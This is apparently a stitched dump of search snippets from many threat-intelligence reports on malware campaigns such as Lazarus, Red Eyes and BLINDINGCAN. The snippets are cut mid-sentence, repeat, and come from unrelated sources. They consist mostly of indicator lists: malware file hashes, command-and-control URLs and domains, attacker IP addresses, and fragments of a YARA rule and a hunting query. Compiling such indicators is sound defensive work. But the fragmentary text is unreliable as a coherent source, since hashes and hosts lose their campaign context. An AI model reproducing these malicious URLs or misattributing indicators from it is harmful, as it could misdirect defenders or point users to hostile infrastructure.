6a4c3256ff063f67d3251d6dd8229931 8b8fa6c4298d83d78e11b52f22a79100 303c5e4842613f7b9ee408e5c6721c00 639b5489d2fb79bcb715905a046d4a54 90…","…c1d572 95dc085b0fea4a8d80df11ba1409a2df89ca97d980ba3dcf8e90d31e9d3fd533 6f9b79c20330a7c8ade8285866e5602bb86b50a817205ee3c8a466101193386d f5873ecd60390e7b86db5ddaf158ed201b386be26ad80af8a7da3576446520b8 58f2972c6a8fc743543f7b8c4df085c5cf2c6e674e5601e85eec60cd269cfb3c SHA1…","…Entities, HostName, HostNameDomain Indicators of compromise Malicious files File SHA-256 hash putty.exe (drops SplitLoader) f59035192098e44b86c4648a0de4078edbe80352260276f4755d15d354f5fc58 putty.exe (drops SplitLoader) cb97ec024c04150ad419d1af2d1eb66b5c48ab5f345409d9d791db574981a3fb [random].dat (SplitLoader)…","…Size 139265 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 11cb4f1cdd9370162d67945059f70d0d SHA1 f59c7ce763c4d5717f986e578e3bce8a43f721d2 SHA256 52f83cdaefd194fff3d387631d5693a709cd7b3a20a072e7827c4d4218d57695 SHA512…","…Name F5A4235EF02F34D547F71AA5434D9BB4 Size 490705 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 f5a4235ef02f34d547f71aa5434d9bb4 SHA1…","…aefa2caddfeb3bccb1e696cc2cd6955a e0d73c941e3792f7c753724c0c064de8 9f8e51f4adc007bb0364dfafb19a8c11 db315d7b0d9e8c9ca0aa6892202d498b f5b14052e15aea78d2da695276f585c8 A2BE99A5AA26155E6E42A17FBE4FD54D e24bbbd3b32ca2fd3b8fb76f036cb4bb 790a21734604b374cf260d20770bfc96 d3a988a9750cb6582310c806fa32d4f1 80…","…online information of the Trojan, call the function UpdateAuthCode to save the host information submitted by the Trojan to the file /tmp/f5b338d6bca36d47ee04d93d08c57861（the md5 value of sess）.log. After the attacker issues the command, call the SaveCommand function to save the command data to the file…","…blog . MD5: 1d0e79feb6d7ed23eb1bf7f257ce4fee Sample discovered in Incident #1 to copy SWIFT message files to separate storage. MD5:f5e0f57684e9da7ef96dd459b554fded The screenshot above shows the disassembly of the logging function implemented in the malware.…","…C&C： https://tosals.ink/uEH5J.html Hash: f5e46e18facc6f8fde6658b96dcd379b82cc6ae2e676fb47f08cbeccd307b1b4 578689cb4b06c4d3f1850e4379c4b31f49170749c66b9576e1088f59fc891da2 2b2583019d83e657c219dd6510060f98ead8679e913d63c7f2ed5c52c0c2bb35 37feb1…","…Size 147456 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 f315be41d9765d69ad60f0b4d29e4300 SHA1 f60c2bd78436a14e35a7e85feccb319d3cc040eb SHA256 fe43bc385b30796f5e2d94dfa720903c70e66bc91dfdcfb2f3986a1fea3fe8c5 SHA512…","…SHA1 456987068ff42f8db6ff8e3af8b82e785b010c7f 3872ff7378ab6b155c9af26285f1a9ff9d496f76 f61032939e029de3dd03c223c8bcb384a9237f50 Remediation Block all threat indicators at your respective controls. Search for indicators of compromise (IOCs) in your environment…","…존재하지 않지만 pad-1 문자열을 가진 악성코드와 동일한 암호 해제 코드에서 나온 악성코드 는 시 스템 정보 수집 및 화면 캡쳐 기능을 가 지고 있다 ( md5: f613c9276d0deb19d0959aa2fbfc737c ) . 이 악 성코드의 변형은 2017 년 가을까지 약 9 개 가 발견되었다 . [ 분석보고서 ] Red Eyes Hacking Group © AhnLab, Inc.…","…// stager_mac.sh SHA256:db2b3c88d8ab1a55591b21d727812bc855da0e02e85e0bfe77d4335153090ac0 // stager_nix.sh SHA256:f63c498b9c42612447fdb757a59aa9a1bb2285e77f83af8224577f9478fd8f2d // stager_win.ps1 SHA256:5d036408ac731df4f2909385ca5c3a75766ab528bcd784668a4997cfa2acd947 //…","…ce5932b88f879f26006df81f2fa7667e d0894d4626aae0f96d6b84ca3bb71a36 e50f2ae7fb03675a1ef58b1cf9cda6d1 f648bdd3c2cd902e239149de86d43e8f 5-2.…","…243ad5458706e5c836f8eb88a9f67e136f1fa76ed44868217dc995a8c7d07bf7 2b254ae6690c9e37fa7d249e8578ee27393e47db1913816b4982867584be713a f64dab23c50e3d131abcc1bdbb35ce9d68a34920dd77677730568c24a84411c5 99e2ebf8cec6a0cea57e591ac1ca56dd5d505c2c3fc8f4c3da8fb8ad49f1527e b4f5d37732272f18206242ccd00f6cad9fbfc12fae9173bb69f53fffeba5553f…","…Name americajobmail.site IP 172.96.137.224 MD5 e12f93d462a622f32a4ff1e646549c42 f01eae4ee3cc03d621be7b0af7d60411 SHA-256 f64dab23c50e3d131abcc1bdbb35ce9d68a34920dd77677730568c24a84411c5 b1ac26dac205973cd1288a38265835eda9b9ff2edc6bd7c6cb9dee4891c9b449 SHA-1…","…Table was already in use in 2017. Case HASH (SHA256) Timestamp (UTC+9) XOR Table f070768ba2d0091b66e2a15726e77165 f64ec976e9930425009da79c7aa081ac 2017-06-02 10: 09:19 051BC852ED4D1E4BD44030D6BF3187D0 56C1BE63947D08B00FE0F2E84BC8AB82 A…","…【3】 ，其相关信息如下： 文件名 Thumbs.db.pif MD5 f6628bd40f4cd6cc8405541c269ac901 文件大小 319488字节 启动参数 njXbxuRQyujZeUAGGYaH 样本启动后会校验参数个数，当未携带参数时直接退出程序，在单独执行该样本时，可有效躲避沙箱的动态行为检测。…","…its class names are very similar to function names found in a sample, with filename sysnetd , submitted to VirusTotal from Romania (SHA-1: F6760FB1F8B019AF2304EA6410001B63A1809F1D ).…","…b9ef6b03d44891ec8766643514fe3294 b67b3863f1182d8abdcf54fd0938cea8 ec6842538f6166462d498279b8a462b3 f6800836d55d049fe79e3d47d54e1119 3a9c98fb76aaa4f440c059334b585585 6e1ce18cb9065bf0ea91fc5c2817e941 7c22515a47e94581cc7b62b88a205808…","…09 8230af6642f5f1927bbbbc7fd6e5427f b0eba111b570bb1c93ca1f48557d265b ef1a8f66351d03413ed2c7d499ee5164 f7363c5cfd6fa24a86e542fcd05283e8 f6800836d55d049fe79e3d47d54e1119 Domain…","…The utility is used to load an unsigned driver (MD5: F684E10FF1FFCDD32C62E73A11382896).…","…exfiltration Data encrypted Commonly used port Bypass user account control Hashes fe32d29fa16b1b71cd27b23a78ee9f6b7791bff3 f684e15dd2e84bac49ea9b89f9b2646dc32a2477 1d280a77595a2d2bbd36b9b5d958f99be20f8e06 19d9573f0b2c2100accd562cc82d57adb12a57ec f90a2155ac492c3c2d5e1d83e384e1a734e59cc0 9b832dda912c…","…IOCs md5 a56edfef94008c77abfb4e151df934d9 30d5f17d5e3f85be18220a7cab0b9fff 5e9a80d3d4f71ecd8bf8e579a5e2449c f692c1dd797f68c34744a377482c4ed4 b77e4e9f5897f00dcbd08b2ee9bde7e8 74b1d5f857a4245aef8189ac4f409a99 6cbc007799b56682ac196e44d79e496d a9d80e7fe3f217ea4d33f8a4a0f3f73c 57…","…of Compromise MD5 a2ee8d2aa9f79551eb5dd8f9610ad557 ae7e18a62abb7f93b657276dcae985b9 d5fe744b9623a0cc7f0ef6464c5530da f6d72abf9ca654a20bbaf23ea1c10a55 fd9099005f133f95a5b699ab30a2f79b 5ed95cde6c29432a4f7dc48602f82734 16a8aaaf2e3125668e6bfb1705a065f9 64d729d0290e2c8ceaa6e38fa68e80e9 44…","…of Compromise) MD5 a2ee8d2aa9f79551eb5dd8f9610ad557 ae7e18a62abb7f93b657276dcae985b9 d5fe744b9623a0cc7f0ef6464c5530da f6d72abf9ca654a20bbaf23ea1c10a55 fd9099005f133f95a5b699ab30a2f79b 5ed95cde6c29432a4f7dc48602f82734 16a8aaaf2e3125668e6bfb1705a065f9 64d729d0290e2c8ceaa6e38fa68e80e9 44…","…(GUI) x86-64, for MS Windows MD5 72fe869aa394ef0a62bb8324857770dd SHA1 de03860d8a43358554ee4fab22c3fb25cae8992b SHA256 f6e1a146543d2903146698da5698b2a214201720c0be756c6e8d2a2f27dcfaff SHA512…","…5e 99ee7852b8041a540fdb74b3784d0409 8230af6642f5f1927bbbbc7fd6e5427f b0eba111b570bb1c93ca1f48557d265b ef1a8f66351d03413ed2c7d499ee5164 f7363c5cfd6fa24a86e542fcd05283e8 f6800836d55d049fe79e3d47d54e1119 Domain…","…Size 95744 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 a8b6ec51ed88c0329fd3329cb615bbc9 SHA1 f744f5f97ace1a4862e764971449c28c4b880e8f SHA256 37bb27f4eb40b8947e184afddba019001c12f97588e7f596ab6bc07f7c152602 SHA512…","…Also, some of the other downloaders (MD5 f766f97eb213d81bf15c02d4681c50a4 ) have functionality that checks the working environment.…","…3 MD5 5e040663bbe55915a67f696a6aafb81a 20250206_68013.docx.lnk 4 MD5 f792d1864e7e92fe25daa73fe964bdea p.ps1 (...388165727.eml.lnk) 5 MD5 ca9b8df227469c7e6d745cc267db80ba p.ps1 (...27263.docx.lnk) 6…","…게임의 진실과 대응책 .hwp ( md5: 06ae5d62d56f21cd2676989743b9626c ) ’ 로 위 장한 악성코드를 배포했 으며 , 2016 년 2 월 에는 경찰 청 사칭 ( md5: f793deeee9dc4235d228e68d27057dcc ) , 불 10 http://b iz.khan.co.kr/khan_art_view.html?artid=201601181845251&code=920100 [ 분석보고서 ] Red Eyes Hacking Group ©…","…11bc82a9bd8297bd0823bce5d6202082 894e7d4ffd764bb458809c7f0643694b036ead30 f79c3b0adb6ec7bcc8bc9ae955a1571aaed6755a28c8b17b1d7595ee86840952 7faea2b01796b80d180399040bb69835 3b3e778b647371262120a523eb873c20bb82beaf…","…File Type application/x-dosexec MD5 11bc82a9bd8297bd0823bce5d6202082 SHA1 894e7d4ffd764bb458809c7f0643694b036ead30 SHA256 f79c3b0adb6ec7bcc8bc9ae955a1571aaed6755a28c8b17b1d7595ee86840952 The purpose of this malware, which Volexity will refer to as “ICONIC”, is as follows: Download various files that contain…","…Hash-SHA256 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa Hash-SHA256 f7c7b5e4b051ea5bd0017803f40af13bed224c4b0fd60b890b6784df5bd63494 Hash-SHA256 09a46b3e1be080745a6d8d88d6b5bd351b1c7586ae0dc94d0c238ee36421cafa Hash-SHA256…","…: resource_PDF MD5 : 5FDC8906A03FFD214E09816FDC58059A SHA1 : C618645233B311E18E13322FFEBEC2677893DF50 SHA256 : F7E04D06690CC6C2FA699C70B9F95AC47E1393E0F6B5470BA2D85DFEF28AF996 FileName : resource_DLL (Main Malware) MD5 : C315DE8AC15B51163A3BC075063A58AA SHA1 : 6F715EB6815E9A44BF9A48D89C1B92F590F1FA1A…","…d844777dcafcde8622b9472b6cd442c50c3747579868a53a505ef2f5a4f0e26a db8163d054a35522d0dec35743cfd2c9872e0eb446467b573a79f84d61761471 f7f2dd674532056c0d67ef1fb7c8ae8dd0484768604b551ee9b6c4405008fe6b Hashes detected as CHM_DLOADER.ZCEL-A 01b047e0f3b49f8ab6ebf6795bc72ba7f63d7acbc68f65f1f8f66e34de827e49…","…Last Modified Date (KST) 2019-02-18 17:30 Last Modified Name JamFedura C2 http://192.186.142.74/mn/Xtgnb0.hta MD5 f816a9c4a3415e8bae807c09e0f80b38 File Name white_paper.doc Last Modified Date (KST) 2019-02-19 17:29 Last Modified Name Aji C2…","…64a062923c05 08620755dabc0983eaf1320ac4c71d90b56ff1bb 7bb3e2671b8ad6e2e1ffb9e8b022dfd677fdd31a aabaea027236e8605f4b89e3d9e2206993398af2 f8542e5567741c95a966cd1508c6d11ad0763440 598b8a9b7bb134bdbf34503e109ec66a18dbbfa9 9837e850f9800cff7d4fd26a2d9ccbaa1960d50b 9534d277d796890affadb3d3861d22a61bfdbbdd dd6bbd76378f…","…Size 321730 bytes Type Java archive data (JAR) MD5 d93b6a5c04d392fc8ed30375be17beb4 SHA1 f862c2899c41a4d1120a7739cdaff561d2490360 SHA256 edd2aff8fad0c76021adc74fe3cb3cb1a02913a839ad0f2cf31fdea8b5aa8195 SHA512…","…*IoC 정보 File Name MD5 CES2020 참관단.hwp f865ea5f29bac6fe7f1d976a36c79713 ▶ 라자루스(Lazarus), 사회공학적 기법으로 당신의 비트코인을 노린다! (2019.08.30) ▶ 라자루스(Lazarus), 소명자료요구서로 위장한 '무비 코인' 캠페인 지속 (2019.…","…Size 778240 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 60294c426865b38fde7c5031afc4e453 SHA1 f8736e3f89f30f082cfd68a73763afcfb0e1c9c3 SHA256 e69d6c2d3e9c4beebee7f3a4a3892e5fdc601beda7c3ec735f0dfba2b29418a7 SHA512…","…Hash-SHA256 d8a9879a99ac7b12e63e6bcae7f965fbf1b63d892a8649ab1d6b08ce711f7127 Hash-SHA256 f8812f1deb8001f3b7672b6fc85640ecb123bc2304b563728e6235ccbe782d85 Hash-SHA256 11d0f63c06263f50b972287b4bbd1abe0089bc993f73d75768b6b41e3d6f6d49 Hash-SHA256…","…“D:/~/repo/golang/src/root.go/s/ troll /agent”. Detailed Analysis Sample Information MD5: 7b6d02a459fdaa4caa1a5bf741c4bd42 SHA256: f8ab78e1db3a3cc3793f7680a90dc1d8ce087226ef59950b7acd6bb1beffd6e3 The malware is disguised as the TrustPKI installer for the SGA solution, and when executed, it steals information from the infected…","…f8adbea62ff58587267d39b04fbcd784df1886e9d8c1b212348a9d95d133f6c2 MD5 7d62e779a769e120ac8f0c5a8bd4e968 SHA256 f8adbea62ff58587267d39b04fbcd784df1886e9d8c1b212348a9d95d133f6c2 File Type ZIP archive containing a Windows Shell Link File Size 860 bytes Date/Time 2026-10-30…","…NULL bytes is benign. d77fdabe17cdba62a8e728cbe6c740e2c2e541072501f77988674e07a05dfb39 Tags droppertrojan Details Name F8D26F2B8DD2AC4889597E1F2FD1F248 Name d77fdabe17cdba62a8e728cbe6c740e2c2e541072501f77988674e07a05dfb39 Size 456241 bytes Type data MD5…","…73dcb7639c1f81d3f7c4931d32787bdf07bd98550888c4b29b1058b2d5a7ca33 c66ef8652e15b579b409170658c95d35cfd6231c7ce030b172692f911e7dcff8 f8f7720785f7e75bd6407ac2acd63f90ab6c2907d3619162dc41a8ffa40a5d03 32ec329301aa4547b4ef4800159940feb950785f1ab68d85a14d363e0ff2bc11 c66ef8652e15b579b409170658c95d35cfd6231c7ce030b172692f911e7dcff8…","…(GUI) Intel 80386, for MS Windows MD5 d2da675a8adfef9d0c146154084fff62 SHA1 c55d080ea24e542397bbbfa00edc6402ec1c902c SHA256 f8f7720785f7e75bd6407ac2acd63f90ab6c2907d3619162dc41a8ffa40a5d03 SHA512…","…SHA-256: ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d SHA-256: f8f7720785f7e75bd6407ac2acd63f90ab6c2907d3619162dc41a8ffa40a5d03 SHA-256: fe43bc385b30796f5e2d94dfa720903c70e66bc91dfdcfb2f3986a1fea3fe8c5 112.175.92.57 113.114.117.122 117.239.241.2 119.18.230.253…","…systems. Indicator Type Description 99fc54786a72f32fd44c7391c2171ca31e72ca52725c68e2dde94d04c286fccd SHA-256 Hash of BTLC_C.exe f8fc2445a9814ca8cf48a979bff7f182d6538f4d1ff438cf259268e8b4b76f86 SHA-256 Hash of HolyRS.exe bea866b327a2dc2aa104b7ad7307008919c06620771ec3715a059e675d9f40af SHA-256 Hash of BTLC.exe cmd.exe /Q /c…","…9f6b7791bff3 f684e15dd2e84bac49ea9b89f9b2646dc32a2477 1d280a77595a2d2bbd36b9b5d958f99be20f8e06 19d9573f0b2c2100accd562cc82d57adb12a57ec f90a2155ac492c3c2d5e1d83e384e1a734e59cc0 9b832dda912cce6b23da8abf3881fcf4d2b7ce09 f3b62fea38cb44e15984d941445d24e6b309bc7b 66d2cea01b46c3353f4339a986a97b24ed89ee18 7113aaab61ca…","…15eee641978ac318dabc397d9c39fb4cb8e1a854883d8c2401f6f04845a79b4b 3e39fc595db9db1706828b0791161440dc1571eaa07b523df9b721ad65e2369b f928a0887cf3319a74c90c0bdf63b5f79710e9f9e2f769038ec9969fcc8ee329 27202534cc03a398308475146f6710b790aa31361931d4fe1b495c31c3ed54f7 Network IOCs 167.88.173.173 95.164.86.148 80.71.157.55…","…Intelligence Report Genians Security Center 40 07. 침해 지표 (Indicator of Compromise) a. 주요 MD5 Hash - f948adbdfd39c63d226b0699c8b84bf0 - 85e71578ad7fea3c15095b6185b14881 - be32725e676d49eaa11ff51c61f18907 - 657fd7317ccde5a0e0c182a626951a9f -…","…31 ca3926dc6c4b2a71832a03fba366cbcd ec9dcef04c5c89d6107d23b0668cc1c1 f4d59b1246e861a2a626cb56c55651f0 f14f332d4273de04ba77e38fd3dcff90 f960ce07c519d1e64a46c7f573eac39b fb3c652e795f08cc2529ed33ec1dc114 fe8626e7c3f47a048c9f6c13c88a9463 1ae2e46aac55e7f92c72b56b387bc945 2a388f3428a6d44a66f5cb0b210379a0…","…f323e1c77d2e 8b6ffa56ca5bea5b406d6d8d6ef532b4d36d090f 90f52b6d077d508a23214047e680dded320ccf4e f483c33acf0f2957da14ed422377387d6cb93c4d f974d22f74b0a105668c72dc100d1d9fcc8c72de redhat-packages.com centos-packages.com dallynk.com yolenny.com 606qipai.com asplinc.com bsef.or.kr 192.169.7.197 160.202.79.226…","…Hash-MD5 c39ed6f52aaa31ae0301c591802da24b Hash-MD5 db349b97c37d22f5ea1d1841e3c89eb4 Hash-MD5 f9992dfb56a9c6c20eb727e6a26b0172 Hash-MD5 46d140a0eb13582852b5f778bb20cf0e Hash-MD5 5bef35496fcbdbe841c82f4d1ab8b7c2 Hash-MD5…","…downloaded malware (0xFF decoded) md5 : 8F8AA835E65998DD472D2C641AA82DA5 sha1 : F9B8645BCB399E48B046BDD96F33B4B0FED1598E sha256 : 04F9579865C6611AFD27FED6ACAF8581C662B52B817FBC9007455E046C73A05E svchost.exe injected malware md5 :…","…Hash-MD5 8e97637474ab77441ae5add3f3325753 Hash-MD5 c9ede1054fef33720f9fa97f5e8abe49 Hash-MD5 f9cee5e75b7f1298aece9145ea80a1d2 Hash-MD5 638f9235d038a0a001d5ea7f5c5dc4ae Hash-MD5 80a2af99fd990567869e9cf4039edf73 Hash-MD5…","…Category = \"Trojan RAT\" Family = \"BLINDINGCAN\" Description = \"Detects 32bit HiddenCobra BLINDINGCAN Trojan RAT\" MD5_1 = \"f9e6c35dbb62101498ec755152a8a67b\" SHA256_1 = \"1ee75106a9113b116c54e7a5954950065b809e0bb4dd0a91dc76f778508c7954\" MD5_2 = \"d742ba8cf5b24affdf77bc6869da0dc5\" SHA256_2 =…","…Date = \"2018-05-04\" Actor = \"HiddenCobra\" Category = \"Trojan RAT\" Family = \"BLINDINGCAN\" Description = \"Detects Trojan RAT\" MD5_1 = \"f9e6c35dbb62101498ec755152a8a67b\" SHA256_1 = \"1ee75106a9113b116c54e7a5954950065b809e0bb4dd0a91dc76f778508c7954\" MD5_2 = \"d742ba8cf5b24affdf77bc6869da0dc5\" SHA256_2 =…","…SHA1 f9ec5982db1f1719d25337dc045f11cbf9fef959 33f7b924363ca6cd73e0860466b9c9150120e36c Remediation Block all threat indicators at your respective controls. Search for indicators…","…about this service, visit the ESET Threat Intelligence page. IoCs SHA-1 Filename ESET detection name Description F9F6C0184CEE9C1E4E15C2A73E56D7B927EA685B N/A Win64/Agent.MS Dolphin backdoor version 1.9 (x64) 5B70453AB58824A65ED0B6175C903AA022A87D6A N/A Win32/Spy.Agent.QET…","…Win32/Spy.Banker.ADQH 32-bit Enigma-protected dropper;gpsvc.exe Malware with a translit SHA1 Detection Note fa4f2e3f7c56210d1e380ec6d74a0b6dd776994b Win64/Spy.Banker.AX Dropper;fdsvc.exe 11568dffd6325ade217fbe49ce56a3ee5001cbcc Win64/Spy.Banker.AX Encrypted module;fdsvc.dll…","…3ABFEC6FC3445759730789D4322B0BE73DC695C7 SHA-1 of samples 5CE3CDFB61F3097E5974F5A07CF0BD2186585776 FAC3FB1C20F2A56887BDBA892E470700C76C81BA AA374FA424CC31D2E5EC8ECE2BA745C28CB4E1E8 E50AD1A7A30A385A9D0A2C0A483D85D906EF4A9C DC72D464289102CAAF47EC318B6110ED6AF7E5E4…","…b8233fe9e903ca08b9b1836fe6197e7d3e98e36b13815d8662de09832367a98a f4aa4c6942a87087530494cba770a1dcbc263514d874f12ba93a64b1edbae21c facf3b40a2b99cc15eee7b7aee3b36a57f0951cda45931fcde311c0cc21cdc71 0ed643a30a82daacecfec946031143b962f693104bcb7087ec6bda09ade0f3cb 41d4f7734fbf14ebcdf63f51093718fd5a22ec38a297c0dc3d7704a3fb48b3f9…","…9833a4779b69b38e3e51f04e395674c6 8433a94aedb6380ac8d4610af643fb0e5220c5cb fad482ded2e25ce9e1dd3d3ecc3227af714bdfbbde04347dbc1b21d6a3670405 660ea9b8205fbd2da59fefd26ae5115c 769383fc65d1386dd141c960c9970114547da0c2…","…cd ec9dcef04c5c89d6107d23b0668cc1c1 f4d59b1246e861a2a626cb56c55651f0 f14f332d4273de04ba77e38fd3dcff90 f960ce07c519d1e64a46c7f573eac39b fb3c652e795f08cc2529ed33ec1dc114 fe8626e7c3f47a048c9f6c13c88a9463 1ae2e46aac55e7f92c72b56b387bc945 2a388f3428a6d44a66f5cb0b210379a0 C2…","…발신인에게 받은 문서 파일의 열람은 절대 하지 않아야하며 지속적인 주의에 대한 경각심을 갖어야 한다. MD5 8451be72b75a38516e7ba7972729909e a7c8997777fef77a9d09c4f96e9a92e4 fb62b1ef85a58b7a9f04d016fbe616f5 Tags: HWP 한글문서 한글취약점 Previous Post 부동산 투자관련 메일로 유포 중인 한글…","…assesses with high confidence that UNC4736 has a North Korean nexus. Indicators of Compromise X_TRADER_r7.17.90p608.exe SHA256: fbc50755913de619fb830fb95882e9703dbfda67dbd0f75bc17eadc9eda61370 SHA1: ced671856bbaef2f1878a2469fb44e9be8c20055 MD5: ef4ab22e565684424b4142b1294f1f4d Setup.exe SHA256:…","…(GUI) x86-64, for MS Windows MD5 60c2efdafbffc5bd6709c8e461f7b77d SHA1 dbddccba18422eea5d7bb1bdfe66ceee90446a45 SHA256 fc1aafd2ed190fa523e60c3d22b6f7ca049d97fc41c9a2fe987576d6b5e81d6d SHA512…","…TACHYON Trojan/W64.APosT.115712 Zillya! Trojan.APosT.Win32.1433 YARA Rules No matches found. ssdeep Matches 94 fc1aafd2ed190fa523e60c3d22b6f7ca049d97fc41c9a2fe987576d6b5e81d6d PE Metadata Compile Date 2020-03-17 21:02:52-04:00 Import Hash 565005404f00b7def4499142ade5e3dd PE Sections…","…And don’t get rekt. IOCs IPV4:141.94.148.39 URL:ip-checking-psi.vercel.app // Thanks for the quick takedown, Vercel! SHA256:fcbcaf9a00757fff176afed4b3b115227b02f11f0cca4a762b0b0f12723daa53 // deobf_ghost.js SHA256:338f34788c92489b4b9078d10a436df035fcae395f3ec2fd95d1e29d28e67efd //…","…md5 0b06fb7f53bb7963ec2ff89d832b831763706e44d206a4d0a8c813ebee633e22 f463b1cf8d6dd8004edf047b4dea3c4e283f0ffb fcbe52f671d2f20b292c3057320d89a9 2e068beb40f8901b698d4fc2f5766564c8324d5ba95fb0a0ffa841f5da5c7e72 178b11323f921c0216bedefdd575a9c5a055b9fa…","…Size 151552 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 34e56056e5741f33d823859e77235ed9 SHA1 fcc2dcbac7d3cbcf749f6aab2f37cc4b62d0bb64 SHA256 0608e411348905145a267a9beaf5cd3527f11f95c4afde4c45998f066f418571 SHA512…","…does not use FTP for exfiltration. Malwarebytes customers are protected against this campaign. IOCs name Sha256 N/A fccad2fea7371ad24a1256b78165bceffc5d01a850f6e2ff576a2d8801ef94fa economics relations.doc d283a0d5cfed4d212cd76497920cf820472c5f138fd061f25e3cddf65190283f y.js…","…\"97ccc28808d2c21b83f24835744af754920a992e57216d2cbc8315664905b0e2\", \"fcd0c4f9d4311de6f400cc61f476dd60ae06f8d19568dbbaa1a118e1a0ff68ab\" ]); DeviceFileEvents | where Timestamp > ago(30d) | where SHA256 in (malicious_hashes) | project Timestamp, DeviceId, DeviceName,…","…Appendix A Full certificate and hash identifiers The two initial leaf certificates differ: 85.137.56.245 leaf SHA-256 fcd60ed3712f0f2ce8d5a73f550fdf99de485a1d021ad4ba37ca86672fe09d68 213.111.148.242 leaf SHA-256 3b87a8b5867c89d2943eeb518436a11c335972ed3f962506025ef4e20bdbfad6 Shared normalized headers mmh3:…","…제안서.pdf.lnk 2 MD5 8ba7ce929702a5423eb0ffd5763ab895 start.vbs 3 MD5 fce7a980ec6a93525524fa7ac8e4a94b 60901024.bat 4 MD5 83117b531e84c16ef0e65f08a882d6f8 57579534.bat 5 MD5…","…SHA1 fd02470c6cc4ceb5fad3589d02e5148a8c738b83 7e47d1bc13d7016a9d8eb59a97d19e3766fbfd54 URL http://nood.xn----vb6em5hi7liqoza961br0ai8i.xn--9i1b01onwqqzd.xn--3e0b707e/…","…It also drops and runs another executable file (SHA256: fd03f3f65979ec7b8b6055f92f023b08f57c3095557d1f00d88f01f4d4cb46b7), which happens to be a cleaner program that uninstalls the service and removes all files created by the program, regardless of the current…","…FAT objc e275deb68cdff336cb4175819a09dbaf0e1b68f6 FAT swift ed4f16b36bc47a701814b63e30d8ea7a226ca906 FAT swift fd1cef5abe3e0c275671916a1f3a566f13489416 x86 objc Stage 3 Version A Mach-Os SHA1 Arch Lang 182760cbe11fa0316abfb8b7b00b63f83159f5aa FAT rust…","…and ($remote_file_manager*) } Indicators Of Compromise (IOC) 1 2 3 4 5 6 MD5 c81ed44799aefb540123159618f7507c SHA-1 fd23177a4481f39fe53a306e2d7fe282cb30a87d SHA-256 87b5a1f79a2be17401d8b2d354c61619ce6195b57e8a5183f78b98e233036062 Virustotal ANY.RUN Bazaar Thank You for reading…","…\"x509\": {\"hash\": {\"md5\": [\"02da572d59e4aaac9341747efc00f5ae\"], \"sha1\": [\"fd24c03f07af1ec1271c40009ff648fdc0fd3ba8\"], \"sha256\": [\"788261d948177acfcfeb1f839053c8ee9f325bd6fb3f07637a7465acdbbef76a\"]}}, \"marking\": {\"tlp\": \"clear\"}, \"provider\": \"Elastic…","…June 2018 Attack Indicator Type Indicator Hash 5137f6a59c2c7a54f1a5fc9a9650972b17d52dd0e203f5abefedf5c593c41ff0 Hash fd673703c502be907919a4ff2922b7b969d96d206abc572a5cb83e69ab32ca18 Hash 4e84f97bb61c2d373a574676fa374131460839ecc7b53064f558ce7ce55528ad Hash…","…a2ee8d2aa9f79551eb5dd8f9610ad557 ae7e18a62abb7f93b657276dcae985b9 d5fe744b9623a0cc7f0ef6464c5530da f6d72abf9ca654a20bbaf23ea1c10a55 fd9099005f133f95a5b699ab30a2f79b 5ed95cde6c29432a4f7dc48602f82734 16a8aaaf2e3125668e6bfb1705a065f9 64d729d0290e2c8ceaa6e38fa68e80e9 443a00feeb3beaea02b2fbcd4302a3c9 e1…","…Exposure Indicators of Compromise Domain Name partybbq.co.kr treffic.medianewsonline.com MD5 b7de564386ab778046b1dd3ef76e4b5e fdb058193917718fae6703e3090b8536 SHA-256…","…(GUI) Intel 80386, for MS Windows MD5 cca9fbb11c194fc53015185b741887a8 SHA1 9e7bf03a607558dafe146907db28d77fda81be22 SHA256 fdb87add07d3459c43cfa88744656f6c00effa6b7ec92cb7c8b911d233aeb4ac SHA512…","…94.177.123.138 CROWDEDFLOUNDER SHA-256: a2a77cefd2faa17e18843d74a8ad155a061a13da9bd548ded6437ef855c14442 SLICKSHOES SHA-256: fdb87add07d3459c43cfa88744656f6c00effa6b7ec92cb7c8b911d233aeb4ac 188.165.37.168 BISTROMATH SHA-256: 04d70bb249206a006f83db39bbe49ff6e520ea329e5fbb9c758d426b1c8dec30 SHA-256:…","…connect to the domain. c24c322f4535def3f8d1579c39f2f9e323787d15b96e2ee457c38925effe2d39 Tags backdoortrojan Details Name FDD55A38A45DE8AF6F8C34A33BAE11CB Size 141312 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 fdd55a38a45de8af6f8c34a33bae11cb SHA1…","…⚫ 1788a19397e0a7ab99f7445e2f8ecd8e ⚫ 3b97c7621969b31b3b4f5975a82e2c00 ⚫ b40722c94cfee7b21f97073304cb2fba ⚫ fe00578715e667c204a66c93c7611559 ⚫ 21bc39f1fa632b5348003d3beec0bc50 ⚫ 23357052f05e2060c4109e2d7fe5f00a ⚫ 258928e7ceb61f13390b73c774c52934 ⚫…","…Size 119808 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 0856655351acffa1ee459eeeaf164756 SHA1 fe0f8a37887c8f8fb5eb3e8252a8df395b3e66e7 SHA256 a1cdb784100906d0ac895297c5a0959ab21a9fb39c687baf176324ee84095472 SHA512…","…Carrier Billing Fraud Indicators of Compromise (IoCs): IOC IOC Type fe1a734019f0dc714bd3360e2369853ea97c02f108afe963769318934470967b SHA256 http://app.at-me.ml/index.php Interesting URL http://app.at-me.ml/index.php?m=c&p1=3666e8b2182d8249 Interesting URL…","…PebbleDash) [11] [AhnLab TIP] 취약한 클라우드 환경을 타겟으로 한 코인마이너 설치 (WatchDog 그룹) 악성코드 분석 보고서 MD5 1aeb95215a633400d90ad8cbca9bc300 fe1bb6811f5c808414c4a357031c2718 URL…","…of Compromise (IoCs): Domains: sofa.rs kingsvc.cc mbrainingevents.com afuocolento.it Hash: 8451be72b75a38516e7ba7972729909e fe2d05365f059d48fd972c79afeee682 186aa05bfe4739274c3c258be4a5a160 IP: 185.62.56.131 Indicators of Attack (IoAs): Execution: T1047: Windows Management…","…Interface Data from local system Automated exfiltration Data encrypted Commonly used port Bypass user account control Hashes fe32d29fa16b1b71cd27b23a78ee9f6b7791bff3 f684e15dd2e84bac49ea9b89f9b2646dc32a2477 